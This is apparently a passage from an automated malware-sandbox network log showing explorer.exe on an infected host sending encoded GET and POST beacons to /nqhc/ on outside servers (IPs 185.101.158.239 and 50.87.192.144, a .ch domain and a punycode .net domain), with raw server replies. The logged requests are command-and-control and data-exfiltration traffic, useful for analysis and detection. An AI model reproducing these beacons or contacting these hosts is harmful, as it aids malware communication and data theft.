Nov 21, 2022 19:22:27.528053045 CET	1096	OUT	Data Raw: 6d 75 4b 4a 50 34 30 6f 50 74 66 78 56 7e 6f 31 66 55 30 31 44 74 76 6e 51 45 4e 35 6d 52 5f 4e 48 6f 2d 38 35 4b 72 42 68 63 72 56 68 30 78 6f 39 70 45 42 34 54 4d 32 33 64 5a 47 56 77 79 77 37 4a 6d 69 67 30 42 52 47 28 30 34 43 57 74 32 2d 32 Data Ascii: muKJP40oPtfxV~o1fU01DtvnQEN5mR_NHo-85KrBhcrVh0xo9pEB4TM23dZGVwyw7Jmig0BRG(04CWt2-2L8erVZbgdhhi3(TKdvpkvJECcwPjEcSZSU2RmOPe4(4D8lG2WqIhwWt6Q5sqVJjMgmkL9EA7FVcdjCduzvwZdrz49bNv0SD7Ksj(FJ0AUVzluGwKH4FPV2FsrtQ71(7sqn6E_jK~ekGqJLcmOCmsMAGgbMscSiA~a
Nov 21, 2022 19:22:27.528269053 CET	1106	OUT	Data Raw: 4d 31 46 37 31 73 4a 39 78 4a 6b 32 4b 45 69 4b 4b 4d 49 48 75 44 38 75 5a 44 6e 57 39 68 73 61 46 75 6f 35 67 63 61 73 48 41 6e 62 31 52 6a 46 57 74 33 37 6d 49 78 55 6d 36 62 5a 44 67 51 67 79 70 61 53 2d 53 53 6e 31 45 48 6b 4e 56 32 50 33 69 Data Ascii: M1F71sJ9xJk2KEiKKMIHuD8uZDnW9hsaFuo5gcasHAnb1RjFWt37mIxUm6bZDgQgypaS-SSn1EHkNV2P3ip5FEbkgXjPf~XZaXlWL5ilFlgxSZ6EBR9HxvW0dcneBXG0NnrzLM_vjcprfu_HbTrpz4QBkMTP8Llri(WgjcJlPGHtMaobBqG9ZGtSnJaMz3Edg7QwAdGiyAvTtsiBedRtEve9FihehWAhBwiuaSBGy0XT38e1AuN
Nov 21, 2022 19:22:27.528439999 CET	1114	OUT	Data Raw: 66 7e 66 70 58 44 49 45 6d 44 48 61 65 59 6b 55 4e 6a 4a 41 49 59 46 52 42 54 5a 55 71 36 68 6d 47 77 6a 41 6a 35 41 74 6c 54 33 73 73 61 7a 62 5f 4e 36 48 66 41 57 75 6f 39 33 35 36 34 73 7a 6c 35 55 67 45 66 35 4a 4b 4a 45 44 4d 4a 37 4a 48 7a Data Ascii: f~fpXDIEmDHaeYkUNjJAIYFRBTZUq6hmGwjAj5AtlT3ssazb_N6HfAWuo93564szl5UgEf5JKJEDMJ7JHzEWbzaoKL8NHDnTBemnp50e0aEU-4vEEp0ACxZ1gqfKvHxVGswsCFDpe(Smet8TK30tPARor3vkeCeVtMnhnl1(DCC48MTEekf8e8Gtk7hRaSWO6ckEH(w(RLCnsctx50YqqtjzpVEr2sgJUMWFQoKzxdEXIA5NpZV
Nov 21, 2022 19:22:27.545217037 CET	1121	OUT	Data Raw: 6f 64 56 6b 47 54 43 64 5a 7a 41 45 67 55 51 54 67 37 53 7a 38 47 62 78 52 6f 4e 63 67 6e 55 67 5a 38 61 66 33 50 61 4d 30 73 2d 52 76 38 4a 71 71 37 39 32 68 72 57 50 4c 31 61 74 76 38 66 72 4a 31 30 5a 30 43 62 79 5f 6b 37 77 59 36 5f 64 74 63 Data Ascii: odVkGTCdZzAEgUQTg7Sz8GbxRoNcgnUgZ8af3PaM0s-Rv8Jqq792hrWPL1atv8frJ10Z0Cby_k7wY6_dtc7~PfVPrMkq4KJaoQbQCrx0tgNM9GhhNXRkwixGL(pLMPF9voM4UDmPA4gJAlKtWmq0a7vf9BgSIPC1tnSydA6tEAmbSGJ0OnKmzf80mntCu~1odfJX_A5DOMYqohrqQMqEC9VAjYv8IiO3MzoFn2MT6bBMtq_(wf6
Nov 21, 2022 19:22:27.545243025 CET	1122	OUT	Data Raw: 37 61 4d 49 6b 35 59 64 74 48 36 4d 57 44 4a 6c 61 4f 39 57 43 48 52 75 7a 44 71 6b 65 74 7a 6b 75 41 65 53 4e 39 45 78 74 36 43 36 50 78 7a 63 4d 37 70 6a 4c 6a 67 70 44 4c 35 61 70 6a 34 67 75 44 58 59 58 59 4d 6c 31 69 32 75 63 74 42 65 4a 32 Data Ascii: 7aMIk5YdtH6MWDJlaO9WCHRuzDqketzkuAeSN9Ext6C6PxzcM7pjLjgpDL5apj4guDXYXYMl1i2uctBeJ2vrl5pYT2E6XjT(rO5t61rp4p2e16RqSdkF-NaE7HSpWyVQm9MdGnCeX4BCRgs5keDO8vXCJFrbOhF6VVS5cUOMe~3Tc~MiN2BGhyT5oGa(LSNxXU6toOPYskvErnHO0XlVUbaV08pBOeDPU(OOnzPI7BYPS~o7JSL
Nov 21, 2022 19:22:27.545319080 CET	1127	OUT	Data Raw: 6a 75 48 32 39 55 58 6a 34 59 58 75 55 57 78 79 33 52 33 4c 54 35 56 4e 43 75 32 4d 6e 39 6a 54 53 6a 7a 52 57 79 70 30 5a 64 59 42 30 36 38 49 52 55 77 37 49 76 6e 6a 34 6f 4f 6f 59 43 52 49 70 61 32 46 71 34 54 66 76 28 72 7e 76 79 37 4e 6e 6b Data Ascii: juH29UXj4YXuUWxy3R3LT5VNCu2Mn9jTSjzRWyp0ZdYB068IRUw7Ivnj4oOoYCRIpa2Fq4Tfv(r~vy7NnkzsWmsL07L8fcHp1y4be2K1156P7F4q724JkAPuhmKW0S8iIbwnmAjN7kTmhzch2P4X9eSkebHNpc_38ltZrlansy2Pw8q1DJkWMgJBXtTOOGf0Pob2e(QxD4SBOWI1mzSnpx9Q05MNmwcgdEUdza8KDG4GhXd5RKr
Nov 21, 2022 19:22:27.545505047 CET	1130	OUT	Data Raw: 4d 32 73 77 56 4e 4a 62 55 32 41 6a 41 32 77 59 4c 59 4d 67 53 68 4b 41 42 28 46 74 72 53 5f 47 57 62 77 58 57 28 61 7e 31 28 4f 4e 32 58 47 52 33 31 50 75 4a 79 50 72 41 53 53 34 76 63 36 4b 73 66 68 32 62 6e 51 5a 43 74 38 6b 7a 33 66 58 7a 6e Data Ascii: M2swVNJbU2AjA2wYLYMgShKAB(FtrS_GWbwXW(a~1(ON2XGR31PuJyPrASS4vc6Ksfh2bnQZCt8kz3fXznYmchEbpKrFLMKziwCBlmUYlKEVDTKWNYPaS8rrg9zUohs3t6Gpf2iouT1UvV5hWfH~RYuvlubPH0dAnJ88PzWx_ko8UECX2arV6p7XWGaypzjh8uUWC(7Li(6lbFQrJuwbMq2GWu1HopPnwfQgjrNfs~pa1iUmogs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.11.20	49867	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:29.555793047 CET	1131	OUT	GET /nqhc/?r4txB=sPoIw5t6pqr53t/oApVsYQPYeQSIkYstTEU7jq7wUoyBdiYMXjDOpQvDe6hGJRv5cGRC4OofJ74gnHLDZXk1GBAfNVZPB7Yr2A==&1b=S8jD HTTP/1.1 Host: www.funknive.ch Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:22:29.572772980 CET	1132	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 21 Nov 2022 18:22:29 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/?r4txB=sPoIw5t6pqr53t/oApVsYQPYeQSIkYstTEU7jq7wUoyBdiYMXjDOpQvDe6hGJRv5cGRC4OofJ74gnHLDZXk1GBAfNVZPB7Yr2A==&1b=S8jD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.11.20	49868	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:43.178184032 CET	1133	OUT	POST /nqhc/ HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.xn--29-oj9ik7b890b.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xn--29-oj9ik7b890b.net/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 56 72 70 38 63 62 49 45 70 59 55 42 65 6b 59 75 6a 4a 7e 35 6c 71 64 30 52 6b 4d 59 64 4c 28 34 4e 50 69 44 54 33 55 41 44 4b 7e 33 45 44 73 37 6c 6a 74 4e 65 36 28 6d 77 56 61 51 53 51 59 35 4d 32 77 6e 56 6a 56 31 78 61 66 53 6e 6b 65 71 31 4e 50 55 50 43 47 79 36 77 45 39 69 78 5a 4b 4c 6e 51 42 7e 59 6e 7a 48 77 69 67 57 42 35 57 72 67 68 71 50 65 68 34 4e 42 63 31 70 57 4c 57 47 64 65 39 34 44 66 76 77 68 69 54 45 38 4d 54 49 41 45 4b 52 39 72 78 59 6f 62 6e 33 61 6b 2d 7a 78 4e 57 55 72 53 50 79 7a 5a 44 77 57 4a 43 51 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=Vrp8cbIEpYUBekYujJ~5lqd0RkMYdL(4NPiDT3UADK~3EDs7ljtNe6(mwVaQSQY5M2wnVjV1xafSnkeq1NPUPCGy6wE9ixZKLnQB~YnzHwigWB5WrghqPeh4NBc1pWLWGde94DfvwhiTE8MTIAEKR9rxYobn3ak-zxNWUrSPyzZDwWJCQA).
Nov 21, 2022 19:22:43.512882948 CET	1135	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:43 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 11649 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6d 8f ec c8 75 de 67 cd af a8 db 8b dd 99 96 ba d8 24 fb bd 7b 7a 64 ed 6a b5 16 a2 b5 85 bd 2b 1b 81 56 b8 a8 26 0f c9 da 29 56 d1 c5 e2 74 f7 8e 07 10 10 c7 f0 1b 9c 04 96 61 23 90 02 1b 88 e1 04 f9 22 24 0a a0 0f 49 7e 90 f6 ea 3f e4 14 d9 ef c3 9e e9 3b f7 5e 19 89 76 5e 48 d6 a9 73 9e f3 9c e7 3c 97 cf be fd fb 1f 7c fa af bf ff 21 49 4c 2a ae ce 2e ed 8b 08 26 e3 69 e3 5a d1 7f f5 49 c3 c6 80 85 57 67 5f bb 4c c1 30 12 24 4c e7 60 a6 8d 1f 7c fa 1d 3a 6c 90 f6 e6 46 b2 14 a6 8d 1b 0e f3 4c 69 d3 20 81 92 06 24 66 ce 79 68 92 69 08 37 3c 00 5a 1e 5a 84 4b 6e 38 13 34 0f 98 80 a9 57 e2 ec c0 9c 6b 35 53 26 3f df 80 9c 4b c5 65 08 8b 16 91 2a 52 42 a8 f9 79 59 62 b8 11 70 f5 eb bf fe fb 97 3f fb c5 cb 7f fe f1 97 ff f4 bf c8 cb 9f ff 9f 97 3f fb 13 f2 f2 cf fe 9e bc fc bb 3f 7d f9 b3 bf 22 ef bd 33 f4 3d 6f 42 62 15 2b a3 b2 cb 76 55 75 76 29 b8 bc 26 1a c4 f4 3c 94 39 cd 34 44 60 82 e4 9c 24 f8 35 3d 6f b7 17 92 52 7f 34 62 6c e0 0d 96 8e 3d 75 c0 9d 0d dc 01 54 dd 37 f5 0d 26 0c 68 c9 0c 34 88 59 66 a8 03 cb 32 c1 03 66 b8 92 6d 9d e7 df 58 a4 02 af 6c df 69 63 c5 83 bc a7 d9 1f 15 6a 42 7e fd 93 ff f5 e5 df fc b4 51 b5 6d 24 c6 64 e3 87 7a b7 23 80 b0 dd 78 93 0c be fc ab bf f9 d5 2f 7f fc ca 44 02 95 a6 b8 9d 7c 97 51 1e 68 9e 99 ab b3 39 ee 4b cd 9d 17 f3 0c 52 f5 39 7f 0e c6 70 19 e7 64 4a 6e 1b 33 96 c3 0f b4 68 8c cb 1e f9 f8 b3 f6 67 ed dc 99 3b 4a c7 9f b5 79 ca 62 c8 3f 43 70 0d 9f b5 cb e2 cf da 5e d7 71 1d f7 b3 f6 c0 5f 0c fc cf da 8d 56 03 16 06 eb 9d 4c c6 78 c8 6f e2 a7 e1 61 61 89 86 ef 0f 2b 40 fc b2 67 55 e8 00 1a e3 db 06 3a 10 45 2c cb 56 f8 25 fc 71 55 3e 6b cf 33 ca 65 20 8a d0 b6 fd 3c 2f 03 25 00 c5 4d 01 ce ee a4 5c 3a 9f e7 df bc 01 3d ed 3b 9e e3 35 ee ee 26 67 ed af 3f 23 9f 26 3c 27 11 17 40 f0 cd 0a a3 68 0c 12 34 12 08 c9 d7 db 67 cf a2 42 06 76 a3 17 d0 62 2d d3 bc bd 61 9a c8 96 6e a9 16 9f 32 27 d0 80 99 1f 0a b0 5b b9 68 04 4c de b0 bc d1 6c 65 53 ee c4 60 3e 50 d2 a0 6c ef bd b7 7b ba 68 f8 61 a3 39 59 03 93 1c a1 57 c0 6c fa dc 68 5c 9a 13 69 95 7e 90 30 fd 81 0a a1 05 d3 8b cc 09 70 0e fd 09 04 e6 c2 6d b9 2d ee cc 79 68 12 7c 27 c0 e3 c4 60 47 07 87 10 9f 5a 7c e6 58 27 2e 2f 0c 8e d6 82 26 a6 bb 4d cc 34 ea db cc b0 1f 7c f2 bd 8b 66 73 a2 c1 14 5a 92 a7 e3 9a 15 2e 4c a7 d3 3d ec bb cd 60 c1 05 54 63 99 fb 4a 55 a6 45 19 8c 93 eb Data Ascii: rmug${zdj+V&)Vta#"$I~?;^v^Hs<\|!IL.&iZIWg_L0$L`\|:lFLi $fyhi7<ZZKn84Wk5S&?KeRByYbp???}"3=oBb+vUuv)&<94D`$5=oR4bl=uT7&h4Yf2fmXlicjB~Qm$dz#x/D\|Qh9KR9pdJn3hg;Jyb?Cp^q_VLxoaa+@gU:E,V%qU>k3e </%M\:=;5&g?#&<'@h4gBvb-an2'[hLleS`>Pl{ha9YWlh\i~0pm-yh\|'`GZ\|X'./&M4\|fsZ.L=`TcJUE
Nov 21, 2022 19:22:43.512993097 CET	1136	IN	Data Raw: 60 8a 0a 38 21 44 b8 1d e3 98 65 06 d3 86 55 aa fd 39 43 39 ab cc 16 b3 12 ae ea f3 f7 97 9f b2 f8 f7 58 0a 17 8d 04 18 ca f9 43 f7 47 96 1d c8 f0 83 84 8b f0 c2 20 0f a5 2f d4 f4 5b 5a b3 e5 45 23 12 cc ba ac 72 55 13 bb e5 45 96 29 6d f2 e9 2d Data Ascii: `8!DeU9C9XCG /[ZE#rUE)m-)8"\|1~Sw/#@&o\|E[4oytVf>&HpvK;Ve4w]L4p{fV?h8h{ngn5zG{7yguzV?lMY
Nov 21, 2022 19:22:43.513070107 CET	1137	IN	Data Raw: 51 07 ef 25 39 09 cb e9 76 19 b7 19 0b 43 2e e3 b1 e7 f8 3d 48 89 ef 74 06 f8 9e a4 4c c7 5c 52 a3 b2 b1 bb 3e cc 14 72 4c c7 ee 23 9c 12 60 16 71 9f 4d e2 1d 34 6e 25 fe bd 48 e7 5e a4 7b 2f d2 bb 17 e9 9f 36 d2 23 ac 51 1b 16 a3 e3 93 03 15 79 Data Ascii: Q%9vC.=HtL\R>rL#`qM4n%H^{/6#QyN.mpW9B0}KWvP,+-3TPqunc@FB13~tq$81c?s;A%RF3GJ"@,h.xuCwj<O@E
Nov 21, 2022 19:22:43.513151884 CET	1138	IN	Data Raw: f7 f3 f3 8c 05 40 67 60 e6 00 f2 5e dd de ed 9d 93 07 1a df 28 09 0b d1 35 56 af db 99 d2 f8 3d 76 27 81 e0 d9 58 a3 36 17 5e b6 68 ed fc 37 cb 2b 9a 31 93 8c b9 c4 f5 5e f4 dc 77 9b 93 04 2c d3 31 26 4c 52 74 21 97 63 6a bf d5 0d e8 48 a8 f9 38 Data Ascii: @g`^(5V=v'X6^h7+1^w,1&LRt!cjH8ar02~fi54S0iH#V.9PB;aVs-vUvM0l-AbM=dnF\|x],B4+.[0%c?wIpQ
Nov 21, 2022 19:22:43.513215065 CET	1140	IN	Data Raw: c3 ca b9 0c ff b7 be ab 01 3c 9a 7b 32 7c 0e 81 92 e8 b5 e5 e3 e8 9b d4 93 c1 0d 68 c3 4f c2 5e 67 3e b0 1e cd 53 4c 78 5c 93 fa c4 d3 80 1f 52 a3 36 ef 34 d8 07 74 a8 4b bb 07 1a 29 69 68 ce bf 40 d8 3c 65 42 8c 89 a7 21 3d 9e 94 42 c8 8b 14 b3 Data Ascii: <{2\|hO^g>SLx\R64tK)ih@<eB!=B=)Nyuf X][s3o)Xy/siL*z_py1`Fbm>Q3Te>g2o`VHS>`0B=(1y 'U<Pcx^s""u0y.cJ}wL\
Nov 21, 2022 19:22:43.513283968 CET	1141	IN	Data Raw: 4d f2 8c a7 99 d2 86 49 b3 c2 08 96 4c e2 65 c1 f3 84 a2 e4 cb 13 e1 0e cb 6a 90 e7 09 37 70 22 5c 99 5b 83 91 31 01 34 c3 5d 9d 88 b3 c9 af c1 ba e1 37 3c a4 1a c2 13 b1 36 f9 35 58 a2 48 b9 54 c5 1a 14 97 23 e3 53 67 ad ad 7d bc 07 4b 67 e8 c8 Data Ascii: MILej7p"\[14]7<65XHT#Sg}Kg'(K:XodjevUGqBg@Hi*6XpJhh2<u)UvNH,uZb5k<fjrVopDsCg\N7TC
Nov 21, 2022 19:22:43.513348103 CET	1142	IN	Data Raw: 4d cf 51 dd 73 d2 46 86 79 a0 79 66 08 aa 7c 62 4b 2e 03 51 84 d8 6c 86 5b b9 ce db 92 dd f0 98 19 ae 64 fb 86 c3 dc 49 b9 74 3e af 1a 06 7e b7 d3 71 a3 7e a7 17 f5 82 d9 28 ec 81 0b d5 f4 88 53 96 d3 6d 35 b5 d5 f4 f3 fc fc 0a e5 2b 49 bd 05 76 Data Ascii: MQsFyyf\|bK.Ql[dIt>~q~(Sm5+Iv4U!y?Y;\|X~T^^:N**%n[MSkf`C8il$rd2vrt$zZs\|1eRu~cF'}z;,YdIMMwy$ 7uw+
Nov 21, 2022 19:22:43.513415098 CET	1144	IN	Data Raw: ca ef bf 11 bf cf 50 46 aa 50 b0 18 7e 6b ed be 6b 76 7f d0 db b3 ed c3 06 77 9d 3e 56 74 7b 2b 04 ff 64 bf 0f ef f9 dd 1b f5 dd c1 b0 db f1 3a 03 bf b7 83 f3 ad 07 70 bc 15 d5 76 8d 3c 1b cd d0 33 40 b8 f4 a7 8d e7 aa d0 01 7c a4 59 96 f0 a0 41 Data Ascii: PFP~kkvw>Vt{+d:pv<3@\|YAT.W0zQ9dcq=yQ:n4=jQbdCO)?#aq"A"nxg\pr%" 2cBG-&DoQyFBG#!!e?cuu
Nov 21, 2022 19:22:43.513490915 CET	1145	IN	Data Raw: f2 d5 30 85 ca 4b 07 cf b8 0c 01 e7 a0 de fd e5 94 49 15 f6 2b 81 87 9c 09 15 d7 f9 67 c5 d4 e2 ed 1a 6f df 63 5f fe e5 7f 2b 3d 56 4b e7 d5 9d 57 8d 5a f9 ea 89 06 3a 62 c7 d3 7c 95 31 93 10 5c d6 c7 5e 87 78 9e 33 14 7d c7 a3 7d a7 43 3d 6a df Data Ascii: 0KI+goc_+=VKWZ:b\|1\^x3}}C=j;>b>={sT>/mT_ 6q:c1PsL:/_RRIr}<&)hjUe6xBpy}QI?16K:?l3Zp\|b#v^v
Nov 21, 2022 19:22:43.513545036 CET	1146	IN	Data Raw: fe dd d9 63 2a 8c 23 15 14 f9 4a 0b 16 5c 5b e7 ca 10 5d 2d 14 aa f2 0e 00 ec 08 c3 0a a3 0e 19 ed 48 22 95 5c 65 af aa bb dd 6e 79 0e 79 9e 09 b6 1c 93 d2 cc 65 28 52 d2 a0 ab bf 00 1c 06 d2 3d 09 6d 97 32 20 20 c2 63 6f 35 2b 0e 00 74 9d 53 4d Data Ascii: c#J\[]-H"\enyye(R=m2 co5+tSMjJ(]7+U7\@HTJ-Kk]4~^h*0MC?E!S)HQz:Lr2.Ie\|3wC#fT&A: )V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.11.20	49869	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:45.370502949 CET	1147	OUT	POST /nqhc/ HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.xn--29-oj9ik7b890b.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xn--29-oj9ik7b890b.net/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 56 72 70 38 63 62 49 45 70 59 55 42 66 45 6f 75 6c 6f 7e 35 77 61 64 37 64 45 4d 59 50 4c 28 38 4e 50 75 44 54 32 67 51 43 38 75 33 4b 43 63 37 69 6e 35 4e 64 36 28 6d 28 31 61 52 57 51 59 79 4d 32 4d 46 56 6d 74 31 78 61 62 53 6d 57 36 71 69 4e 50 62 62 79 47 78 39 77 45 38 6d 78 5a 51 4c 6e 4e 67 7e 64 33 7a 48 45 61 67 48 7a 42 57 38 43 5a 70 59 2d 68 2d 50 42 63 30 6a 32 4c 6d 47 64 53 44 34 43 58 56 77 51 57 54 46 64 73 54 4a 41 45 46 45 64 72 79 46 34 61 5f 6d 72 64 74 79 6a 68 76 45 49 4f 72 71 53 4a 52 6b 57 55 47 4b 45 48 5a 64 56 33 78 43 58 45 78 4f 70 32 44 55 68 78 44 70 2d 45 47 5a 43 61 4e 62 47 35 67 78 50 74 61 4b 39 44 51 55 36 6d 6b 6b 76 30 41 41 37 62 72 41 75 45 6c 6b 4e 4f 52 51 64 42 41 6b 69 7a 35 7e 6b 68 6c 36 49 62 58 64 73 63 63 58 72 46 4a 63 52 50 78 64 44 33 70 73 37 55 4d 6e 63 6f 42 46 5f 36 6f 70 75 65 33 6f 67 73 75 72 37 6c 72 33 41 6b 36 4b 58 7a 5f 77 4a 41 69 77 49 6c 47 28 2d 67 33 75 31 35 53 36 5a 79 65 38 57 56 69 54 65 33 5a 69 71 47 52 67 43 6a 76 56 66 4a 6c 4c 56 4c 6e 47 50 56 59 66 5a 48 49 7a 41 51 53 78 37 49 37 4a 4d 33 61 63 56 78 71 64 79 30 61 67 55 52 67 6f 50 44 44 58 67 58 32 77 78 44 6b 54 53 70 78 46 37 39 49 58 39 51 37 54 65 4d 37 6e 5f 51 48 62 4b 51 33 54 4a 73 72 74 4d 66 78 58 2d 33 4f 66 61 4c 69 4f 5f 73 36 39 57 44 6a 47 33 65 79 71 4c 6e 64 77 76 70 38 31 4d 57 6e 43 7a 68 70 64 62 58 56 4d 68 71 69 5a 53 4a 57 70 65 77 71 58 36 57 4e 73 46 57 4c 39 70 69 4b 36 64 32 5a 4e 4c 42 72 34 59 77 55 39 79 66 6f 31 32 62 65 48 62 36 67 79 4f 61 72 7a 79 73 57 58 64 38 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=Vrp8cbIEpYUBfEoulo~5wad7dEMYPL(8NPuDT2gQC8u3KCc7in5Nd6(m(1aRWQYyM2MFVmt1xabSmW6qiNPbbyGx9wE8mxZQLnNg~d3zHEagHzBW8CZpY-h-PBc0j2LmGdSD4CXVwQWTFdsTJAEFEdryF4a_mrdtyjhvEIOrqSJRkWUGKEHZdV3xCXExOp2DUhxDp-EGZCaNbG5gxPtaK9DQU6mkkv0AA7brAuElkNORQdBAkiz5~khl6IbXdsccXrFJcRPxdD3ps7UMncoBF_6opue3ogsur7lr3Ak6KXz_wJAiwIlG(-g3u15S6Zye8WViTe3ZiqGRgCjvVfJlLVLnGPVYfZHIzAQSx7I7JM3acVxqdy0agURgoPDDXgX2wxDkTSpxF79IX9Q7TeM7n_QHbKQ3TJsrtMfxX-3OfaLiO_s69WDjG3eyqLndwvp81MWnCzhpdbXVMhqiZSJWpewqX6WNsFWL9piK6d2ZNLBr4YwU9yfo12beHb6gyOarzysWXd8.
Nov 21, 2022 19:22:45.744667053 CET	1149	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:45 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 11649 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6d 8f ec c8 75 de 67 cd af a8 db 8b dd 99 96 ba d8 24 fb bd 7b 7a 64 ed 6a b5 16 a2 b5 85 bd 2b 1b 81 56 b8 a8 26 0f c9 da 29 56 d1 c5 e2 74 f7 8e 07 10 10 c7 f0 1b 9c 04 96 61 23 90 02 1b 88 e1 04 f9 22 24 0a a0 0f 49 7e 90 f6 ea 3f e4 14 d9 ef c3 9e e9 3b f7 5e 19 89 76 5e 48 d6 a9 73 9e f3 9c e7 3c 97 cf be fd fb 1f 7c fa af bf ff 21 49 4c 2a ae ce 2e ed 8b 08 26 e3 69 e3 5a d1 7f f5 49 c3 c6 80 85 57 67 5f bb 4c c1 30 12 24 4c e7 60 a6 8d 1f 7c fa 1d 3a 6c 90 f6 e6 46 b2 14 a6 8d 1b 0e f3 4c 69 d3 20 81 92 06 24 66 ce 79 68 92 69 08 37 3c 00 5a 1e 5a 84 4b 6e 38 13 34 0f 98 80 a9 57 e2 ec c0 9c 6b 35 53 26 3f df 80 9c 4b c5 65 08 8b 16 91 2a 52 42 a8 f9 79 59 62 b8 11 70 f5 eb bf fe fb 97 3f fb c5 cb 7f fe f1 97 ff f4 bf c8 cb 9f ff 9f 97 3f fb 13 f2 f2 cf fe 9e bc fc bb 3f 7d f9 b3 bf 22 ef bd 33 f4 3d 6f 42 62 15 2b a3 b2 cb 76 55 75 76 29 b8 bc 26 1a c4 f4 3c 94 39 cd 34 44 60 82 e4 9c 24 f8 35 3d 6f b7 17 92 52 7f 34 62 6c e0 0d 96 8e 3d 75 c0 9d 0d dc 01 54 dd 37 f5 0d 26 0c 68 c9 0c 34 88 59 66 a8 03 cb 32 c1 03 66 b8 92 6d 9d e7 df 58 a4 02 af 6c df 69 63 c5 83 bc a7 d9 1f 15 6a 42 7e fd 93 ff f5 e5 df fc b4 51 b5 6d 24 c6 64 e3 87 7a b7 23 80 b0 dd 78 93 0c be fc ab bf f9 d5 2f 7f fc ca 44 02 95 a6 b8 9d 7c 97 51 1e 68 9e 99 ab b3 39 ee 4b cd 9d 17 f3 0c 52 f5 39 7f 0e c6 70 19 e7 64 4a 6e 1b 33 96 c3 0f b4 68 8c cb 1e f9 f8 b3 f6 67 ed dc 99 3b 4a c7 9f b5 79 ca 62 c8 3f 43 70 0d 9f b5 cb e2 cf da 5e d7 71 1d f7 b3 f6 c0 5f 0c fc cf da 8d 56 03 16 06 eb 9d 4c c6 78 c8 6f e2 a7 e1 61 61 89 86 ef 0f 2b 40 fc b2 67 55 e8 00 1a e3 db 06 3a 10 45 2c cb 56 f8 25 fc 71 55 3e 6b cf 33 ca 65 20 8a d0 b6 fd 3c 2f 03 25 00 c5 4d 01 ce ee a4 5c 3a 9f e7 df bc 01 3d ed 3b 9e e3 35 ee ee 26 67 ed af 3f 23 9f 26 3c 27 11 17 40 f0 cd 0a a3 68 0c 12 34 12 08 c9 d7 db 67 cf a2 42 06 76 a3 17 d0 62 2d d3 bc bd 61 9a c8 96 6e a9 16 9f 32 27 d0 80 99 1f 0a b0 5b b9 68 04 4c de b0 bc d1 6c 65 53 ee c4 60 3e 50 d2 a0 6c ef bd b7 7b ba 68 f8 61 a3 39 59 03 93 1c a1 57 c0 6c fa dc 68 5c 9a 13 69 95 7e 90 30 fd 81 0a a1 05 d3 8b cc 09 70 0e fd 09 04 e6 c2 6d b9 2d ee cc 79 68 12 7c 27 c0 e3 c4 60 47 07 87 10 9f 5a 7c e6 58 27 2e 2f 0c 8e d6 82 26 a6 bb 4d cc 34 ea db cc b0 1f 7c f2 bd 8b 66 73 a2 c1 14 5a 92 a7 e3 9a 15 2e 4c a7 d3 3d ec bb cd 60 c1 05 54 63 99 fb 4a 55 a6 45 19 8c 93 eb Data Ascii: rmug${zdj+V&)Vta#"$I~?;^v^Hs<\|!IL.&iZIWg_L0$L`\|:lFLi 